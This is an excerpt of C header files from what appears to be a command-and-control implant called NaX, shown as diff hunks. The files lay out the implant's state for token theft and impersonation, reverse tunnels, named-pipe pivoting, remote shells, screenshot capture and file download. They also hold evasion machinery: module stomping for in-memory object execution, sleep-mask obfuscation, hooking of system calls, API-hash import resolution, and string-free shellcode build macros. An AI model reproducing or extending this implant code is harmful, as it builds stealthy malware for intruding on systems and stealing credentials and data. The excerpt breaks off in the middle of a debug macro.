/* ========= [ winhttp.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
D_API( WinHttpOpen );
|
||||
D_API( WinHttpConnect );
|
||||
D_API( WinHttpOpenRequest );
|
||||
D_API( WinHttpSendRequest );
|
||||
D_API( WinHttpReceiveResponse );
|
||||
D_API( WinHttpQueryHeaders );
|
||||
D_API( WinHttpReadData );
|
||||
D_API( WinHttpCloseHandle );
|
||||
D_API( WinHttpCrackUrl );
|
||||
D_API( WinHttpSetOption );
|
||||
D_API( WinHttpQueryOption );
|
||||
D_API( WinHttpQueryDataAvailable );
|
||||
} NAX_WINHTTP;
|
||||
|
||||
/* ========= [ advapi32.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
D_API( GetUserNameW );
|
||||
D_API( GetTokenInformation );
|
||||
D_API( LookupAccountSidA );
|
||||
D_API( AllocateAndInitializeSid );
|
||||
D_API( InitializeSecurityDescriptor );
|
||||
D_API( SetSecurityDescriptorDacl );
|
||||
D_API( SetEntriesInAclA );
|
||||
D_API( FreeSid );
|
||||
D_API( DuplicateTokenEx );
|
||||
D_API( ImpersonateLoggedOnUser );
|
||||
D_API( RevertToSelf );
|
||||
D_API( LogonUserA );
|
||||
D_API( AdjustTokenPrivileges );
|
||||
D_API( LookupPrivilegeValueA );
|
||||
D_API( LookupPrivilegeNameA );
|
||||
D_API( OpenThreadToken );
|
||||
D_API( RegCreateKeyExW );
|
||||
D_API( RegSetValueExW );
|
||||
D_API( RegCloseKey );
|
||||
} NAX_ADVAPI32;
|
||||
|
||||
/* ========= [ iphlpapi.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
D_API( GetAdaptersInfo );
|
||||
} NAX_IPHLPAPI;
|
||||
|
||||
/* ========= [ user32.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
D_API( GetSystemMetrics );
|
||||
D_API( GetDC );
|
||||
D_API( ReleaseDC );
|
||||
} NAX_USER32;
|
||||
|
||||
/* ========= [ gdi32.dll ] ========= */
|
||||
|
||||
typedef struct {
|
||||
D_API( CreateCompatibleDC );
|
||||
D_API( CreateCompatibleBitmap );
|
||||
D_API( SelectObject );
|
||||
D_API( BitBlt );
|
||||
D_API( GetDIBits );
|
||||
D_API( DeleteObject );
|
||||
D_API( DeleteDC );
|
||||
} NAX_GDI32;
|
||||
|
||||
/* ========= [ ws2_32.dll (lazy-loaded for tunnels) ] ========= */
|
||||
|
||||
typedef struct {
|
||||
BOOL Loaded;
|
||||
D_API( WSAStartup );
|
||||
D_API( WSACleanup );
|
||||
D_API( WSAGetLastError );
|
||||
D_API( socket );
|
||||
D_API( closesocket );
|
||||
D_API( connect );
|
||||
D_API( bind );
|
||||
D_API( listen );
|
||||
D_API( accept );
|
||||
D_API( send );
|
||||
D_API( recv );
|
||||
D_API( select );
|
||||
D_API( ioctlsocket );
|
||||
D_API( htons );
|
||||
D_API( ntohs );
|
||||
D_API( inet_addr );
|
||||
D_API( gethostbyname );
|
||||
D_API( setsockopt );
|
||||
D_API( shutdown );
|
||||
D_API( WSACreateEvent );
|
||||
D_API( WSACloseEvent );
|
||||
D_API( WSAEventSelect );
|
||||
D_API( WSAResetEvent );
|
||||
D_API( WSAEnumNetworkEvents );
|
||||
} NAX_WS2;
|
||||
|
||||
/* ========= [ tunnel state ] ========= */
|
||||
|
||||
#define NAX_TUNNEL_STATE_CLOSE 0
|
||||
#define NAX_TUNNEL_STATE_READY 1
|
||||
#define NAX_TUNNEL_STATE_CONNECT 2
|
||||
|
||||
#define NAX_TUNNEL_MODE_TCP 0
|
||||
#define NAX_TUNNEL_MODE_REVERSE 2
|
||||
|
||||
#define NAX_TUNNEL_HIGH_WATERMARK ( 4 * 1024 * 1024 )
|
||||
#define NAX_TUNNEL_LOW_WATERMARK ( 1 * 1024 * 1024 )
|
||||
#define NAX_TUNNEL_HARD_CAP ( 16 * 1024 * 1024 )
|
||||
|
||||
/* ========= [ token state ] ========= */
|
||||
|
||||
typedef struct _NAX_TOKEN_NODE {
|
||||
HANDLE Handle;
|
||||
UINT32 TokenId;
|
||||
UINT32 SourcePid;
|
||||
CHAR User[ 128 ];
|
||||
CHAR Domain[ 128 ];
|
||||
struct _NAX_TOKEN_NODE* Next;
|
||||
} NAX_TOKEN_NODE;
|
||||
|
||||
typedef struct _NAX_TUNNEL {
|
||||
UINT32 ChannelId;
|
||||
UINT32 Type;
|
||||
UINT_PTR Sock;
|
||||
BYTE State;
|
||||
BYTE Mode;
|
||||
UINT32 WaitTime;
|
||||
UINT64 StartTick;
|
||||
UINT32 CloseTimer;
|
||||
PBYTE WriteBuf;
|
||||
UINT32 WriteBufSize;
|
||||
BOOL Paused;
|
||||
BOOL SrvPaused;
|
||||
struct _NAX_TUNNEL* Next;
|
||||
} NAX_TUNNEL;
|
||||
|
||||
/* ========= [ pivot state ] ========= */
|
||||
|
||||
typedef struct _NAX_PIVOT_ASYNC {
|
||||
OVERLAPPED OvRead;
|
||||
HANDLE hWriteEvent;
|
||||
UINT32 RdHeader;
|
||||
BOOL RdPending;
|
||||
BOOL DataSent;
|
||||
} NAX_PIVOT_ASYNC;
|
||||
|
||||
typedef struct _NAX_PIVOT {
|
||||
UINT32 Id;
|
||||
HANDLE hPipe;
|
||||
NAX_PIVOT_ASYNC* Async;
|
||||
struct _NAX_PIVOT* Next;
|
||||
} NAX_PIVOT;
|
||||
|
||||
/* ========= [ BOF module stomping ] ========= */
|
||||
|
||||
typedef struct {
|
||||
PVOID DllBase;
|
||||
PVOID TextBase;
|
||||
ULONG TextCap;
|
||||
PIMAGE_NT_HEADERS Nt;
|
||||
BYTE InUse;
|
||||
PVOID TextBackup;
|
||||
PVOID PdataBase;
|
||||
ULONG PdataSize;
|
||||
PVOID PdataBackup;
|
||||
} BOF_STOMP_SLOT;
|
||||
|
||||
typedef struct {
|
||||
BOF_STOMP_SLOT SyncSlot;
|
||||
BOF_STOMP_SLOT AsyncSlots[ BOF_STOMP_ASYNC_MAX ];
|
||||
BOF_STOMP_SLOT SmSlot;
|
||||
BYTE AsyncCount;
|
||||
BYTE Initialized;
|
||||
BYTE SmStompReq;
|
||||
} BOF_STOMP_POOL;
|
||||
|
||||
/* ========= [ BOF execution context ] ========= */
|
||||
|
||||
typedef struct _NAX_BOF_MEDIA {
|
||||
struct _NAX_BOF_MEDIA* Next;
|
||||
PBYTE Data; /* complete entry including type tag (0x81/0x82) */
|
||||
UINT32 Len;
|
||||
} NAX_BOF_MEDIA;
|
||||
|
||||
typedef struct {
|
||||
PBYTE Buf; /* heap-allocated text output accumulator (8 KB) */
|
||||
UINT32 Len; /* bytes written so far */
|
||||
UINT32 Cap; /* buffer capacity */
|
||||
NAX_BOF_MEDIA* MediaHead; /* linked list of screenshot/download entries */
|
||||
BYTE Stomped; /* 0x00=private alloc, 0x01=module stomped */
|
||||
BYTE StompSlot; /* sync=0xFF, async=0-3 */
|
||||
} NAX_BOF_CTX;
|
||||
|
||||
/* ========= [ chunked download state ] ========= */
|
||||
|
||||
typedef struct _NAX_DOWNLOAD {
|
||||
UINT32 TaskId;
|
||||
UINT32 FileId;
|
||||
HANDLE hFile;
|
||||
UINT32 FileSize;
|
||||
UINT32 Index;
|
||||
UINT32 ChunkSize;
|
||||
struct _NAX_DOWNLOAD* Next;
|
||||
} NAX_DOWNLOAD;
|
||||
|
||||
/* ========= [ upload memory accumulator ] ========= */
|
||||
|
||||
typedef struct _NAX_MEMSAVE {
|
||||
UINT32 MemoryId;
|
||||
UINT32 TotalSize;
|
||||
UINT32 CurrentSize;
|
||||
PBYTE Buffer;
|
||||
struct _NAX_MEMSAVE* Next;
|
||||
} NAX_MEMSAVE;
|
||||
|
||||
/* ========= [ async job tracking ] ========= */
|
||||
|
||||
#define NAX_JOB_PENDING 0
|
||||
#define NAX_JOB_RUNNING 1
|
||||
#define NAX_JOB_FINISHED 2
|
||||
#define NAX_JOB_KILLED 3
|
||||
|
||||
typedef struct _NAX_INSTANCE NAX_INSTANCE, *PNAX_INSTANCE;
|
||||
|
||||
typedef struct _NAX_JOB {
|
||||
PNAX_INSTANCE Nax;
|
||||
UINT32 TaskId;
|
||||
UINT32 State;
|
||||
BYTE AllocMode;
|
||||
BYTE Abandoned;
|
||||
BYTE StompSlotIdx;
|
||||
HANDLE hStopEvent;
|
||||
HANDLE hThread;
|
||||
DWORD TimeoutMs;
|
||||
UINT64 StartTick;
|
||||
NAX_BOF_CTX BofCtx;
|
||||
NAX_BOF_CTX SavedBofCtx;
|
||||
RTL_CRITICAL_SECTION Lock;
|
||||
PBYTE CoffCopy;
|
||||
UINT32 CoffSize;
|
||||
PBYTE ArgsCopy;
|
||||
UINT32 ArgsSize;
|
||||
struct _NAX_JOB* Next;
|
||||
} NAX_JOB;
|
||||
|
||||
/* ========= [ remote shell tracking ] ========= */
|
||||
|
||||
typedef struct _NAX_SHELL {
|
||||
UINT32 TerminalId;
|
||||
HANDLE hProcess;
|
||||
HANDLE hThread;
|
||||
HANDLE hStdinWrite;
|
||||
HANDLE hStdoutRead;
|
||||
BYTE State;
|
||||
BYTE Started;
|
||||
struct _NAX_SHELL* Next;
|
||||
} NAX_SHELL;
|
||||
|
||||
/* ========= [ sleep obfuscation runtime config ] ========= */
|
||||
|
||||
typedef struct _NAX_SM_CONFIG {
|
||||
BYTE SleepObf; /* 0=disabled, 1=enabled (WFSO PoC) */
|
||||
BYTE _pad;
|
||||
} NAX_SM_CONFIG, *PNAX_SM_CONFIG;
|
||||
|
||||
/* ========= [ sleepmask info - image region for encrypt/decrypt ] ========= */
|
||||
|
||||
typedef struct _NAX_SM_INFO {
|
||||
PVOID BeaconBase;
|
||||
UINT32 BeaconSize;
|
||||
PVOID SmBase;
|
||||
UINT32 SmSize;
|
||||
PVOID CleanTextBuf;
|
||||
UINT32 CleanTextSize;
|
||||
NAX_SM_CONFIG Config;
|
||||
UINT32 ActiveJobCount;
|
||||
} NAX_SM_INFO, *PNAX_SM_INFO;
|
||||
|
||||
/* ========= [ BeaconGate originals + swap table ] ========= */
|
||||
|
||||
typedef struct {
|
||||
PVOID Sleep;
|
||||
PVOID WaitForSingleObject;
|
||||
PVOID WaitForMultipleObjects;
|
||||
PVOID VirtualProtect;
|
||||
} NAX_GATE_ORIGINALS;
|
||||
|
||||
#define NAX_GATE_MAX_SWAPS 8
|
||||
|
||||
typedef struct {
|
||||
PVOID* Slot;
|
||||
PVOID Original;
|
||||
} NAX_GATE_SWAP;
|
||||
|
||||
typedef struct {
|
||||
NAX_GATE_SWAP Entries[NAX_GATE_MAX_SWAPS];
|
||||
UINT32 Count;
|
||||
} NAX_GATE_SWAP_TABLE;
|
||||
|
||||
/* ========= [ beacon instance ] ========= */
|
||||
|
||||
#define NAX_HTTP_STALE_MS 60000u /* close persistent handles when sleep > this */
|
||||
|
||||
struct _NAX_INSTANCE {
|
||||
CHAR SessionId[17]; /* 16 hex chars + NUL */
|
||||
NAX_CONFIG Config; /* all runtime-configurable fields */
|
||||
HANDLE Heap; /* private beacon heap */
|
||||
|
||||
/* persistent WinHTTP handles - reused across heartbeats */
|
||||
HINTERNET hSession; /* WinHttpOpen (UA + proxy config) */
|
||||
HINTERNET hConnect; /* WinHttpConnect (host:port) */
|
||||
|
||||
/* system info - gathered once at boot, sent in REGISTER */
|
||||
BYTE Elevated; /* 1 if running elevated / admin */
|
||||
UINT32 OsMajor; /* Windows major version (PEB+0x118) */
|
||||
UINT32 OsMinor; /* Windows minor version (PEB+0x11C) */
|
||||
UINT16 OsBuild; /* Windows build number (PEB+0x120) */
|
||||
UINT32 ParentPid; /* parent process ID */
|
||||
UINT32 Acp; /* ANSI code page */
|
||||
UINT32 OemCp; /* OEM code page */
|
||||
CHAR ImgPath[260]; /* full image path (UTF-8) */
|
||||
|
||||
NAX_NTDLL Ntdll;
|
||||
NAX_MSVCRT Msvcrt;
|
||||
NAX_KERNEL32 Kernel32;
|
||||
NAX_KERNELBASE Kernelbase;
|
||||
NAX_BCRYPT Bcrypt;
|
||||
|
||||
BOOL CfgEnabled;
|
||||
NAX_WINHTTP Winhttp;
|
||||
NAX_ADVAPI32 Advapi32;
|
||||
NAX_IPHLPAPI Iphlpapi;
|
||||
NAX_USER32 User32;
|
||||
NAX_GDI32 Gdi32;
|
||||
NAX_BOF_CTX BofCtx;
|
||||
BOF_STOMP_POOL BofStompPool;
|
||||
NAX_PIVOT* PivotHead;
|
||||
NAX_DOWNLOAD* DownloadHead;
|
||||
NAX_MEMSAVE* MemSaveHead;
|
||||
NAX_JOB* JobHead;
|
||||
NAX_JOB* CurrentJob;
|
||||
HANDLE JobWakeEvent;
|
||||
NAX_TOKEN_NODE* TokenHead;
|
||||
NAX_WS2 Ws2;
|
||||
NAX_TUNNEL* TunnelHead;
|
||||
HANDLE TunnelEvent;
|
||||
NAX_SHELL* ShellHead;
|
||||
|
||||
PBYTE DynResp; /* dynamic heartbeat response (Content-Length > IO_CAP) */
|
||||
UINT32 DynRespLen;
|
||||
PVOID Gate;
|
||||
NAX_GATE_ORIGINALS GateOriginals;
|
||||
NAX_GATE_SWAP_TABLE GateSwaps;
|
||||
PBYTE SmBofCache;
|
||||
UINT32 SmBofCacheLen;
|
||||
NAX_SM_INFO SmInfo;
|
||||
|
||||
/* resident BOF state (sleepmask) - kept alive across heartbeats */
|
||||
PVOID ResidentSections[16];
|
||||
UINT16 ResidentNumSections;
|
||||
PVOID ResidentMapFunc;
|
||||
BOOL ResidentStomped;
|
||||
PRUNTIME_FUNCTION ResidentPdata;
|
||||
DWORD ResidentPdataCount;
|
||||
BOOL ResidentPdataInDll;
|
||||
};
|
||||
@@ -0,0 +1,8 @@
|
||||
/* beacon/include/Jobs.h
|
||||
* Async BOF job manager constants. */
|
||||
|
||||
#pragma once
|
||||
|
||||
#define JOB_DEFAULT_TIMEOUT_MS 60000u
|
||||
#define JOB_GRACE_PERIOD_MS 500u
|
||||
#define JOB_OUTPUT_DRAIN_CAP 1048576u
|
||||
@@ -0,0 +1,14 @@
|
||||
/* beacon/include/LdrFlags.h
|
||||
* LDR entry flags for module stomping PEB patching.
|
||||
* Shared between Bof/Stomp.c and Commands/BofStomp.c. */
|
||||
|
||||
#pragma once
|
||||
|
||||
#define LDRP_IMAGE_DLL 0x00000004
|
||||
#define LDRP_LOAD_NOTIFICATIONS_SENT 0x00000008
|
||||
#define LDRP_PROCESS_STATIC_IMPORT 0x00000020
|
||||
#define LDRP_ENTRY_PROCESSED 0x00004000
|
||||
|
||||
#ifndef DONT_RESOLVE_DLL_REFERENCES
|
||||
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
|
||||
#endif
|
||||
@@ -0,0 +1,359 @@
|
||||
/* beacon/include/Macros.h
|
||||
* Compiler helpers, PIC section placement, FNV1a hashes.
|
||||
* All hash values are FNV1a-32 over the UPPERCASE function/module name. */
|
||||
|
||||
#pragma once
|
||||
|
||||
/* ========= [ mingw-w64 / -mno-sse workaround ] ========= */
|
||||
/* winnt.h pulls in psdk_inc/intrin-impl.h which defines __faststorefence()
|
||||
* using __builtin_ia32_sfence - unavailable when -mno-sse is active.
|
||||
* Pre-defining the guard macro suppresses that definition entirely. */
|
||||
#ifndef __INTRINSIC_DEFINED___faststorefence
|
||||
#define __INTRINSIC_DEFINED___faststorefence
|
||||
#endif
|
||||
|
||||
/* ========= [ section placement ] ========= */
|
||||
#define D_SEC( x ) __attribute__( ( section( ".text$" #x ) ) )
|
||||
#define FUNC D_SEC( B )
|
||||
|
||||
/* ========= [ function pointer declaration ] ========= */
|
||||
/* Usage: D_API( VirtualAlloc ) expands to __typeof__(VirtualAlloc) *VirtualAlloc; */
|
||||
#define D_API( x ) __typeof__( x ) * x
|
||||
|
||||
/* ========= [ pointer helpers ] ========= */
|
||||
#define C_PTR( x ) ( ( PVOID )( UINT_PTR )( x ) )
|
||||
#define U_PTR( x ) ( ( UINT_PTR )( x ) )
|
||||
#define B_PTR( x ) ( ( PBYTE )( UINT_PTR )( x ) )
|
||||
|
||||
/* ========= [ memory helpers ] ========= */
|
||||
#define MmCopy( d, s, n ) __builtin_memcpy( (d), (s), (n) )
|
||||
#define MmZero( d, n ) __builtin_memset( (d), 0, (n) )
|
||||
|
||||
/* ========= [ FNV1a-32 hashes (uppercase input) ] ========= */
|
||||
|
||||
/* Module names */
|
||||
#define H_NTDLL_DLL 0x145370BBu
|
||||
#define H_KERNEL32_DLL 0x29CDD463u
|
||||
#define H_WINHTTP_DLL 0xD7735323u
|
||||
#define H_BCRYPT_DLL 0x5BEDF6A5u
|
||||
#define H_IPHLPAPI_DLL 0xDB411E4Au
|
||||
#define H_ADVAPI32_DLL 0x35C841F5u
|
||||
#define H_MSVCRT_DLL 0x1DDEBB66u
|
||||
|
||||
/* ntdll.dll exports */
|
||||
#define H_LDRREGISTERDLLNOTIFICATION 0x45F4C843u
|
||||
#define H_LDRUNREGISTERDLLNOTIFICATION 0x24E3DB7Eu
|
||||
#define H_RTLALLOCATEHEAP 0x1AFF0438u
|
||||
#define H_RTLFREEHEAP 0x9D9B8AB5u
|
||||
#define H_RTLEXITUSERTHREAD 0xCC77997Eu
|
||||
#define H_DBGPRINT 0xEF42EB8Bu /* DbgPrint */
|
||||
#define H_NTOPENPROCESSTOKEN 0x06E571ADu /* NtOpenProcessToken */
|
||||
#define H_NTQUERYINFORMATIONTOKEN 0x95047682u /* NtQueryInformationToken */
|
||||
#define H_NTQUERYINFORMATIONPROCESS 0x69925B6Au /* NtQueryInformationProcess */
|
||||
#define H_NTCLOSE 0x1498D8A5u /* NtClose */
|
||||
#define H_NTQUERYSYSTEMINFORMATION 0x37072D8Au /* NtQuerySystemInformation */
|
||||
#define H_NTQUERYVIRTUALMEMORY 0x315E365Fu /* NtQueryVirtualMemory */
|
||||
#define H_NTOPENPROCESS 0x3ED17B38u /* NtOpenProcess */
|
||||
#define H_NTTERMINATEPROCESS 0xB931F2E7u /* NtTerminateProcess */
|
||||
|
||||
/* kernel32.dll exports */
|
||||
#define H_GETCURRENTPROCESSID 0xC36D7CE0u
|
||||
#define H_GETCURRENTTHREADID 0xF388A295u
|
||||
#define H_GETCOMPUTERNAMEEXW 0x8DD6527Du
|
||||
#define H_EXITPROCESS 0xAC392D5Au
|
||||
#define H_SLEEP 0x6D3D9A28u
|
||||
#define H_LOADLIBRARYW 0xD76CCD99u
|
||||
#define H_WIDECHARTOMULTIBYTE 0x4AF2783Eu
|
||||
#define H_MULTIBYTETOWIDECHAR 0xB2996B82u
|
||||
#define H_GLOBALFREE 0xF8D3360Cu
|
||||
#define H_CREATEDIRECTORYA 0xC0A3F6F3u /* CreateDirectoryA */
|
||||
#define H_SETCURRENTDIRECTORYA 0xB71F9262u /* SetCurrentDirectoryA */
|
||||
#define H_GETCURRENTDIRECTORYA 0xEF8CF83Eu /* GetCurrentDirectoryA */
|
||||
#define H_CREATEFILEA 0xE84B3A8Eu /* CreateFileA */
|
||||
#define H_READFILE 0xBC5C02C3u /* ReadFile */
|
||||
#define H_WRITEFILE 0xD6BC7FEAu /* WriteFile */
|
||||
#define H_DELETEFILEA 0x3E6F4637u /* DeleteFileA */
|
||||
#define H_CLOSEHANDLE 0x00FEF545u /* CloseHandle */
|
||||
#define H_REMOVEDIRECTORYA 0x192454D3u /* RemoveDirectoryA */
|
||||
#define H_FINDFIRSTFILEA 0xBDC52C95u /* FindFirstFileA */
|
||||
#define H_FINDNEXTFILEA 0x533ED8F8u /* FindNextFileA */
|
||||
#define H_FINDCLOSE 0x3FF09C86u /* FindClose */
|
||||
#define H_GETACP 0x8FB91DB9u /* GetACP */
|
||||
#define H_GETOEMCP 0xF3F6C445u /* GetOEMCP */
|
||||
#define H_CREATEPROCESSA 0xE3EB7329u /* CreateProcessA */
|
||||
#define H_CREATEPIPE 0x18FC8AE1u /* CreatePipe */
|
||||
#define H_WAITFORSINGLEOBJECT 0x087A5704u /* WaitForSingleObject */
|
||||
#define H_WAITFORMULTIPLEOBJECTS 0xE097CA29u /* WaitForMultipleObjects */
|
||||
#define H_PEEKNAMEDPIPE 0xD76A4197u /* PeekNamedPipe */
|
||||
#define H_CREATENAMEDPIPEA 0x22623B81u /* CreateNamedPipeA */
|
||||
#define H_CONNECTNAMEDPIPE 0x2E327346u /* ConnectNamedPipe */
|
||||
#define H_DISCONNECTNAMEDPIPE 0xACED8A20u /* DisconnectNamedPipe */
|
||||
#define H_SETNAMEDPIPEHANDLESTATE 0xF69E48D3u /* SetNamedPipeHandleState */
|
||||
#define H_CREATEEVENTA 0xE3D89242u /* CreateEventA */
|
||||
#define H_SETEVENT 0x0A5FA231u /* SetEvent */
|
||||
#define H_RESETEVENT 0xF86C8148u /* ResetEvent */
|
||||
#define H_GETOVERLAPPEDRESULT 0x9489823Eu /* GetOverlappedResult */
|
||||
#define H_CANCELIO 0x6C5E22DBu /* CancelIo */
|
||||
#define H_FLUSHFILEBUFFERS 0xC683B086u /* FlushFileBuffers */
|
||||
|
||||
/* advapi32.dll exports */
|
||||
#define H_GETUSERNAMEW 0x3B271BF8u
|
||||
#define H_GETTOKENINFORMATION 0xEA1753BAu /* GetTokenInformation */
|
||||
#define H_LOOKUPACCOUNTSIDA 0x9F5E72E1u /* LookupAccountSidA */
|
||||
#define H_ALLOCATEANDINITIALIZESID 0x04F018F3u /* AllocateAndInitializeSid */
|
||||
#define H_INITIALIZESECURITYDESCRIPTOR 0x3B950E88u /* InitializeSecurityDescriptor */
|
||||
#define H_SETSECURITYDESCRIPTORDACL 0x39B5A210u /* SetSecurityDescriptorDacl */
|
||||
#define H_SETENTRIESINACLA 0x65427AD5u /* SetEntriesInAclA */
|
||||
#define H_FREESID 0x9543E245u /* FreeSid */
|
||||
#define H_DUPLICATETOKENEX 0xCCA86C7Eu /* DuplicateTokenEx */
|
||||
#define H_IMPERSONATELOGGEDONUSER 0x5D18DD4Au /* ImpersonateLoggedOnUser */
|
||||
#define H_REVERTTOSELF 0xAAE503A8u /* RevertToSelf */
|
||||
#define H_LOGONUSERA 0xAED2941Au /* LogonUserA */
|
||||
#define H_ADJUSTTOKENPRIVILEGES 0xC87F17A3u /* AdjustTokenPrivileges */
|
||||
#define H_LOOKUPPRIVILEGEVALUEA 0x7206E77Eu /* LookupPrivilegeValueA */
|
||||
#define H_LOOKUPPRIVILEGENAMEA 0x155AB538u /* LookupPrivilegeNameA */
|
||||
#define H_OPENTHREADTOKEN 0x3F9FFC2Au /* OpenThreadToken */
|
||||
#define H_REGCREATEKEYEXW 0x55945DD2u /* RegCreateKeyExW */
|
||||
#define H_REGSETVALUEEXW 0x928D78A6u /* RegSetValueExW */
|
||||
#define H_REGCLOSEKEY 0xD91F178Au /* RegCloseKey */
|
||||
|
||||
/* iphlpapi.dll exports */
|
||||
#define H_GETADAPTERSINFO 0xF3F916E3u
|
||||
|
||||
/* winhttp.dll exports */
|
||||
#define H_WINHTTPOPEN 0xDE65FA65u
|
||||
#define H_WINHTTPCONNECT 0x68399F2Du
|
||||
#define H_WINHTTPOPENREQUEST 0x2C5B8EB2u
|
||||
#define H_WINHTTPSENDREQUEST 0x186BEAE4u
|
||||
#define H_WINHTTPRECEIVERESPONSE 0xBE71F421u
|
||||
#define H_WINHTTPQUERYHEADERS 0xE990A96Fu
|
||||
#define H_WINHTTPREADDATA 0x2CD17989u
|
||||
#define H_WINHTTPCLOSEHANDLE 0xA8A76F19u
|
||||
#define H_WINHTTPCRACKURL 0xDAD03DD6u
|
||||
#define H_WINHTTPSETOPTION 0x121A377Au
|
||||
#define H_WINHTTPQUERYOPTION 0xD159A97Au
|
||||
#define H_WINHTTPQUERYDATAAVAILABLE 0x98141526u
|
||||
|
||||
/* bcrypt.dll exports */
|
||||
#define H_BCRYPTOPENALGORITHMPROVIDER 0x55E27E7Du
|
||||
#define H_BCRYPTSETPROPERTY 0x4680A508u
|
||||
#define H_BCRYPTGENERATESYMMETRICKEY 0x9680C51Au
|
||||
#define H_BCRYPTENCRYPT 0xF0E24004u
|
||||
#define H_BCRYPTDECRYPT 0x45B2AAE0u
|
||||
#define H_BCRYPTDESTROYKEY 0x97D4FFB6u
|
||||
#define H_BCRYPTCLOSEALGORITHMPROVIDER 0x19DD9647u
|
||||
#define H_BCRYPTGENRANDOM 0xFA481CACu
|
||||
|
||||
/* msvcrt.dll exports */
|
||||
#define H_PRINTF 0xB81DD0EAu /* printf */
|
||||
|
||||
/* user32.dll */
|
||||
#define H_USER32_DLL 0x1A58C439u /* user32.dll */
|
||||
#define H_GETSYSTEMMETRICS 0x5A58C773u /* GetSystemMetrics */
|
||||
#define H_GETDC 0xAAADEDBEu /* GetDC */
|
||||
#define H_RELEASEDC 0x10824D97u /* ReleaseDC */
|
||||
|
||||
/* gdi32.dll */
|
||||
#define H_GDI32_DLL 0xAD22D412u /* gdi32.dll */
|
||||
#define H_CREATECOMPATIBLEDC 0x1C5A0D1Au /* CreateCompatibleDC */
|
||||
#define H_CREATECOMPATIBLEBITMAP 0x6891AA50u /* CreateCompatibleBitmap */
|
||||
#define H_SELECTOBJECT 0xE1301202u /* SelectObject */
|
||||
#define H_BITBLT 0x6FB8AACEu /* BitBlt */
|
||||
#define H_GETDIBITS 0x9935CA08u /* GetDIBits */
|
||||
#define H_DELETEOBJECT 0xCFDED101u /* DeleteObject */
|
||||
#define H_DELETEDC 0x749F876Bu /* DeleteDC */
|
||||
|
||||
/* kernel32 additions for BOF proxy + download */
|
||||
#define H_GETMODULEHANDLEA 0xA2AE8F7Cu /* GetModuleHandleA */
|
||||
#define H_FREELIBRARY 0x9CE6498Eu /* FreeLibrary */
|
||||
#define H_LOADLIBRARYEXW 0x5D45A5C2u /* LoadLibraryExW */
|
||||
#define H_VIRTUALPROTECT 0x62C5C373u /* VirtualProtect */
|
||||
#define H_GETFILESIZE 0x7C072ED8u /* GetFileSize */
|
||||
#define H_GETLASTERROR 0x84BD9597u /* GetLastError */
|
||||
#define H_GETPROCESSMITIGATIONPOLICY 0x7BC86641u /* GetProcessMitigationPolicy */
|
||||
|
||||
/* kernelbase.dll */
|
||||
#define H_KERNELBASE_DLL 0x91624877u
|
||||
#define H_SETPROCESSVALIDCALLTARGETS 0xDD31D9C4u /* SetProcessValidCallTargets */
|
||||
|
||||
/* ========= [ debug print ] ========= */
|
||||
/* __FILENAME__: compile-time basename of __FILE__ via builtin_strrchr.
|
||||
* The pointer arithmetic is evaluated at compile time; no runtime cost.
|
||||
* In release builds the entire DPRINT block compiles away - __FILENAME__
|
||||
* is never referenced and no string literal ends up in .rdata. */
|
||||
#define __FILENAME__ \
|
||||
( __builtin_strrchr( __FILE__, '\\' ) \
|
||||
? __builtin_strrchr( __FILE__, '\\' ) + 1 \
|
||||
: ( __builtin_strrchr( __FILE__, '/' ) \
|
||||
? __builtin_strrchr( __FILE__, '/' ) + 1 \
|
||||
: __FILE__ ) )
|
||||
|
||||
/* ========= [ debug print helpers ] ========= */
|
||||
/* Unique name helpers for static-local format string variables.
|
||||
* _NX_CONCAT(a, b) → a##b, evaluated in two steps to force __LINE__ expansion. */
|
||||
#define _NX_C2( a, b ) a##b
|
||||
#define _NX_CONCAT( a, b ) _NX_C2( a, b )
|
||||
|
||||
#ifdef DEBUG_PIC
|
||||
/* PIC-safe debug: format strings are static locals placed in .text$B via a
|
||||
* section attribute, so no string data lands in .rdata. __FILE__ and
|
||||
* __FUNCTION__ are intentionally omitted - they produce .rodata literals that
|
||||
* break .text-only shellcode. __LINE__ gives each static a unique name within
|
||||
* its translation unit so multiple calls in the same file never collide.
|
||||
*
|
||||
* NaxDbgx - DbgPrint (ntdll, visible in DebugView / x64dbg).
|
||||
* NaxDbg - msvcrt!printf (visible in console / CRT debugger). */
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '\\') ? \
|
||||
__builtin_strrchr(__FILE__, '\\') + 1 : \
|
||||
(__builtin_strrchr(__FILE__, '/') ? \
|
||||
__builtin_strrchr(__FILE__, '/') + 1 : __FILE__))
|
||||
|
||||
#define NaxDbgx( Nax, fmt, ... ) \
|
||||
do { \
|
||||
static const char _NX_CONCAT( _nfmt_, __LINE__ )[] \
|
||||
__attribute__( ( section( ".text$Bd" ), used ) ) = \
|
||||
"[NaX::%s::%s::%d] => " fmt "\n"; \
|
||||
if ( ( Nax ) && ( Nax )->Ntdll.DbgPrint ) \
|
||||
(void)( Nax )->Ntdll.DbgPrint( \
|
||||
_NX_CONCAT( _nfmt_, __LINE__ ), \
|
||||
__FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ); \
|
||||
} while ( 0 )
|
||||
|
||||
#define NaxDbg( Nax, fmt, ... ) \
|
||||
do { \
|
||||
static const char _NX_CONCAT( _mfmt_, __LINE__ )[] \
|
||||
__attribute__( ( section( ".text$Bd" ), used ) ) = \
|
||||
"[NaX::%s::%s::%d] => " fmt "\n"; \
|
||||
if ( ( Nax ) && ( Nax )->Msvcrt.printf ) \
|
||||
(void)( Nax )->Msvcrt.printf( \
|
||||
_NX_CONCAT( _mfmt_, __LINE__ ), \
|
||||
__FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ); \
|
||||
} while ( 0 )
|
||||
|
||||
#elif defined( DEBUG )
|
||||
/* Non-PIC debug exe: full file/func/line prefix, strings go to .rdata.
|
||||
* NaxDbgx - DbgPrint (ntdll, visible in DebugView / x64dbg).
|
||||
* NaxDbg - msvcrt!printf (visible in console / CRT debugger). */
|
||||
#define NaxDbgx( Nax, fmt, ... ) \
|
||||
( ( Nax ) && ( Nax )->Ntdll.DbgPrint \
|
||||
? ( (void)( Nax )->Ntdll.DbgPrint( \
|
||||
"[NaX::%s::%s::%d] => " fmt "\n", \
|
||||
__FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ) ) \
|
||||
